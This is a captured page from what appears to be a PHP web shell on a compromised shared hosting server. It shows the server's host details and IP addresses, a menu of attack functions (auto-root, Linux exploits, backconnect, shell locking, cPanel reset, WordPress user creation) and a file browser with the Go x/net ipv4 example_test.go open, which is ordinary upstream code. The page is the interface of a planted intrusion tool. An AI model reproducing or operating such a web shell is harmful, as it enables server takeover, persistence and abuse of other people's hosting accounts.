Linux id-dci-web1412.main-hosting.eu 5.14.0-611.20.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 14 06:35:04 EST 2026 x86_64
LiteSpeed
: 2a02:4780:6:1512:0:19fc:adf1:2 | : 216.73.216.85
Cant Read [ /etc/named.conf ]
8.1.34
u435990001
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
go /
pkg /
mod /
golang.org /
x /
net@v0.20.0 /
ipv4 /
[ HOME SHELL ]
Name
Size
Permission
Action
batch.go
5.59
KB
-r--r--r--
bpf_test.go
1.85
KB
-r--r--r--
control.go
4.22
KB
-r--r--r--
control_bsd.go
1.11
KB
-r--r--r--
control_pktinfo.go
980
B
-r--r--r--
control_stub.go
450
B
-r--r--r--
control_test.go
480
B
-r--r--r--
control_unix.go
1.71
KB
-r--r--r--
control_windows.go
363
B
-r--r--r--
control_zos.go
1.99
KB
-r--r--r--
defs_aix.go
368
B
-r--r--r--
defs_darwin.go
977
B
-r--r--r--
defs_dragonfly.go
368
B
-r--r--r--
defs_freebsd.go
887
B
-r--r--r--
defs_linux.go
1.28
KB
-r--r--r--
defs_netbsd.go
368
B
-r--r--r--
defs_openbsd.go
368
B
-r--r--r--
defs_solaris.go
977
B
-r--r--r--
dgramopt.go
6.61
KB
-r--r--r--
doc.go
7.77
KB
-r--r--r--
endpoint.go
4.87
KB
-r--r--r--
errors_other_test.go
413
B
-r--r--r--
errors_unix_test.go
481
B
-r--r--r--
example_test.go
5.22
KB
-r--r--r--
export_test.go
216
B
-r--r--r--
gen.go
4.34
KB
-r--r--r--
genericopt.go
1.18
KB
-r--r--r--
header.go
4.97
KB
-r--r--r--
header_test.go
5.84
KB
-r--r--r--
helper.go
1.64
KB
-r--r--r--
helper_posix_test.go
759
B
-r--r--r--
helper_stub_test.go
358
B
-r--r--r--
iana.go
1.4
KB
-r--r--r--
icmp.go
1.51
KB
-r--r--r--
icmp_linux.go
538
B
-r--r--r--
icmp_stub.go
457
B
-r--r--r--
icmp_test.go
1.86
KB
-r--r--r--
multicast_test.go
9.56
KB
-r--r--r--
multicastlistener_test.go
5.91
KB
-r--r--r--
multicastsockopt_test.go
5.12
KB
-r--r--r--
packet.go
3.58
KB
-r--r--r--
payload.go
578
B
-r--r--r--
payload_cmsg.go
2.75
KB
-r--r--r--
payload_nocmsg.go
1.38
KB
-r--r--r--
readwrite_test.go
12.72
KB
-r--r--r--
sockopt.go
1.68
KB
-r--r--r--
sockopt_posix.go
1.75
KB
-r--r--r--
sockopt_stub.go
1.12
KB
-r--r--r--
sys_aix.go
2.01
KB
-r--r--r--
sys_asmreq.go
2.53
KB
-r--r--r--
sys_asmreq_stub.go
661
B
-r--r--r--
sys_asmreqn.go
1020
B
-r--r--r--
sys_asmreqn_stub.go
492
B
-r--r--r--
sys_bpf.go
595
B
-r--r--r--
sys_bpf_stub.go
376
B
-r--r--r--
sys_bsd.go
1.88
KB
-r--r--r--
sys_darwin.go
3.47
KB
-r--r--r--
sys_dragonfly.go
1.86
KB
-r--r--r--
sys_freebsd.go
3.52
KB
-r--r--r--
sys_linux.go
3.04
KB
-r--r--r--
sys_solaris.go
2.87
KB
-r--r--r--
sys_ssmreq.go
1.23
KB
-r--r--r--
sys_ssmreq_stub.go
526
B
-r--r--r--
sys_stub.go
361
B
-r--r--r--
sys_windows.go
1.57
KB
-r--r--r--
sys_zos.go
2.39
KB
-r--r--r--
unicast_test.go
5.77
KB
-r--r--r--
unicastsockopt_test.go
3.15
KB
-r--r--r--
zsys_aix_ppc64.go
263
B
-r--r--r--
zsys_darwin.go
1.03
KB
-r--r--r--
zsys_dragonfly.go
219
B
-r--r--r--
zsys_freebsd_386.go
933
B
-r--r--r--
zsys_freebsd_amd64.go
971
B
-r--r--r--
zsys_freebsd_arm.go
971
B
-r--r--r--
zsys_freebsd_arm64.go
936
B
-r--r--r--
zsys_freebsd_riscv64.go
936
B
-r--r--r--
zsys_linux_386.go
1.2
KB
-r--r--r--
zsys_linux_amd64.go
1.23
KB
-r--r--r--
zsys_linux_arm.go
1.2
KB
-r--r--r--
zsys_linux_arm64.go
1.23
KB
-r--r--r--
zsys_linux_loong64.go
1.25
KB
-r--r--r--
zsys_linux_mips.go
1.2
KB
-r--r--r--
zsys_linux_mips64.go
1.23
KB
-r--r--r--
zsys_linux_mips64le.go
1.23
KB
-r--r--r--
zsys_linux_mipsle.go
1.2
KB
-r--r--r--
zsys_linux_ppc.go
1.2
KB
-r--r--r--
zsys_linux_ppc64.go
1.23
KB
-r--r--r--
zsys_linux_ppc64le.go
1.23
KB
-r--r--r--
zsys_linux_riscv64.go
1.25
KB
-r--r--r--
zsys_linux_s390x.go
1.23
KB
-r--r--r--
zsys_netbsd.go
216
B
-r--r--r--
zsys_openbsd.go
217
B
-r--r--r--
zsys_solaris.go
1023
B
-r--r--r--
zsys_zos_s390x.go
1
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : example_test.go
// Copyright 2012 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package ipv4_test import ( "fmt" "log" "net" "os" "runtime" "time" "golang.org/x/net/icmp" "golang.org/x/net/ipv4" ) func ExampleConn_markingTCP() { ln, err := net.Listen("tcp", "0.0.0.0:1024") if err != nil { log.Fatal(err) } defer ln.Close() for { c, err := ln.Accept() if err != nil { log.Fatal(err) } go func(c net.Conn) { defer c.Close() if c.RemoteAddr().(*net.TCPAddr).IP.To4() != nil { p := ipv4.NewConn(c) if err := p.SetTOS(0x28); err != nil { // DSCP AF11 log.Fatal(err) } if err := p.SetTTL(128); err != nil { log.Fatal(err) } } if _, err := c.Write([]byte("HELLO-R-U-THERE-ACK")); err != nil { log.Fatal(err) } }(c) } } func ExamplePacketConn_servingOneShotMulticastDNS() { c, err := net.ListenPacket("udp4", "0.0.0.0:5353") // mDNS over UDP if err != nil { log.Fatal(err) } defer c.Close() p := ipv4.NewPacketConn(c) en0, err := net.InterfaceByName("en0") if err != nil { log.Fatal(err) } mDNSLinkLocal := net.UDPAddr{IP: net.IPv4(224, 0, 0, 251)} if err := p.JoinGroup(en0, &mDNSLinkLocal); err != nil { log.Fatal(err) } defer p.LeaveGroup(en0, &mDNSLinkLocal) if err := p.SetControlMessage(ipv4.FlagDst, true); err != nil { log.Fatal(err) } b := make([]byte, 1500) for { _, cm, peer, err := p.ReadFrom(b) if err != nil { log.Fatal(err) } if !cm.Dst.IsMulticast() || !cm.Dst.Equal(mDNSLinkLocal.IP) { continue } answers := []byte("FAKE-MDNS-ANSWERS") // fake mDNS answers, you need to implement this if _, err := p.WriteTo(answers, nil, peer); err != nil { log.Fatal(err) } } } func ExamplePacketConn_tracingIPPacketRoute() { // Tracing an IP packet route to www.google.com. const host = "www.google.com" ips, err := net.LookupIP(host) if err != nil { log.Fatal(err) } var dst net.IPAddr for _, ip := range ips { if ip.To4() != nil { dst.IP = ip fmt.Printf("using %v for tracing an IP packet route to %s\n", dst.IP, host) break } } if dst.IP == nil { log.Fatal("no A record found") } c, err := net.ListenPacket("ip4:1", "0.0.0.0") // ICMP for IPv4 if err != nil { log.Fatal(err) } defer c.Close() p := ipv4.NewPacketConn(c) if err := p.SetControlMessage(ipv4.FlagTTL|ipv4.FlagSrc|ipv4.FlagDst|ipv4.FlagInterface, true); err != nil { log.Fatal(err) } wm := icmp.Message{ Type: ipv4.ICMPTypeEcho, Code: 0, Body: &icmp.Echo{ ID: os.Getpid() & 0xffff, Data: []byte("HELLO-R-U-THERE"), }, } rb := make([]byte, 1500) for i := 1; i <= 64; i++ { // up to 64 hops wm.Body.(*icmp.Echo).Seq = i wb, err := wm.Marshal(nil) if err != nil { log.Fatal(err) } if err := p.SetTTL(i); err != nil { log.Fatal(err) } // In the real world usually there are several // multiple traffic-engineered paths for each hop. // You may need to probe a few times to each hop. begin := time.Now() if _, err := p.WriteTo(wb, nil, &dst); err != nil { log.Fatal(err) } if err := p.SetReadDeadline(time.Now().Add(3 * time.Second)); err != nil { log.Fatal(err) } n, cm, peer, err := p.ReadFrom(rb) if err != nil { if err, ok := err.(net.Error); ok && err.Timeout() { fmt.Printf("%v\t*\n", i) continue } log.Fatal(err) } rm, err := icmp.ParseMessage(1, rb[:n]) if err != nil { log.Fatal(err) } rtt := time.Since(begin) // In the real world you need to determine whether the // received message is yours using ControlMessage.Src, // ControlMessage.Dst, icmp.Echo.ID and icmp.Echo.Seq. switch rm.Type { case ipv4.ICMPTypeTimeExceeded: names, _ := net.LookupAddr(peer.String()) fmt.Printf("%d\t%v %+v %v\n\t%+v\n", i, peer, names, rtt, cm) case ipv4.ICMPTypeEchoReply: names, _ := net.LookupAddr(peer.String()) fmt.Printf("%d\t%v %+v %v\n\t%+v\n", i, peer, names, rtt, cm) return default: log.Printf("unknown ICMP message: %+v\n", rm) } } } func ExampleRawConn_advertisingOSPFHello() { c, err := net.ListenPacket("ip4:89", "0.0.0.0") // OSPF for IPv4 if err != nil { log.Fatal(err) } defer c.Close() r, err := ipv4.NewRawConn(c) if err != nil { log.Fatal(err) } en0, err := net.InterfaceByName("en0") if err != nil { log.Fatal(err) } allSPFRouters := net.IPAddr{IP: net.IPv4(224, 0, 0, 5)} if err := r.JoinGroup(en0, &allSPFRouters); err != nil { log.Fatal(err) } defer r.LeaveGroup(en0, &allSPFRouters) hello := make([]byte, 24) // fake hello data, you need to implement this ospf := make([]byte, 24) // fake ospf header, you need to implement this ospf[0] = 2 // version 2 ospf[1] = 1 // hello packet ospf = append(ospf, hello...) iph := &ipv4.Header{ Version: ipv4.Version, Len: ipv4.HeaderLen, TOS: 0xc0, // DSCP CS6 TotalLen: ipv4.HeaderLen + len(ospf), TTL: 1, Protocol: 89, Dst: allSPFRouters.IP.To4(), } var cm *ipv4.ControlMessage switch runtime.GOOS { case "darwin", "ios", "linux": cm = &ipv4.ControlMessage{IfIndex: en0.Index} default: if err := r.SetMulticastInterface(en0); err != nil { log.Fatal(err) } } if err := r.WriteTo(iph, ospf, cm); err != nil { log.Fatal(err) } }
Close